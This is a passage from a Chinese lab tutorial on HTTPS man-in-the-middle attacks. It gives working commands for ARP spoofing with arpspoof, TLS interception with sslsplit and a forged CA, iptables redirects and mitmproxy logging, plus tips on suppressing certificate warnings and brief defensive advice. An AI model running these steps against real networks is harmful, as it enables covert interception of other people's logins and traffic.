使用arpspoof进行arp欺骗,不管是进行DNS欺骗还是HTTP或HTTPS的中间人攻击,arp欺骗都是前提,所以,在进行防御的时候,将ip和MAC绑定,就可以防止中间人攻击了。
arpspoof -i eth0 -t 192.168.1.127 -r 192.168.1.1 (以下展示的实验环境的地址)
能看到网关的arp已经变成了kali的mac地址了。
5、进行监听
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080,-D 表示debug,-l表示把连接请求记录到一个文件中,不是数据信息,只是连接信息,-j越狱的根目录,-S请求的数据,放在-j指定的目录下的目录,如root/test/logdir,所以得先建立这个几个目录,-k指定私钥,-c指定私钥签发的证书,ssl的流量加密的流量在本地的所有ip地址侦听8443端口,不加密的普通的tcp流量在本地的8080端口侦听。
6、验证
在客户端验证。本地电脑默认集成证书服务器的根证书,是不信任我们伪造的证书,所以在访问淘宝的时候,看到有这样的提示,就是有问题的。
登录验证并查看证书。
查看连接信息。
查看数据信息。
查看到https加密后的信息已经被解密。
我们就可以劫持https的流量了,但是会提示网站证书会报错,解决方法是将根证书安装到客户端,再次访问就不会报根证书的问题了。访问的任何东西就会被没有告警的记录下来。所以在看到访问网站证书报错的情况下,需要格外注意。
除了sslsplit进行监听,还可以使用Mitmproxy进行中间人攻击,同前面的步骤相同,仍然需要伪造证书,进行arp欺骗,但不需要指定监听的端口,默认监听8080端口,可以对默认的端口进行修改。
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
启动Mitmproxy
mitmproxy -T --host -w mitmproxy.log,不但能进行监控,每个具体的数据可以打开查看详细的请求。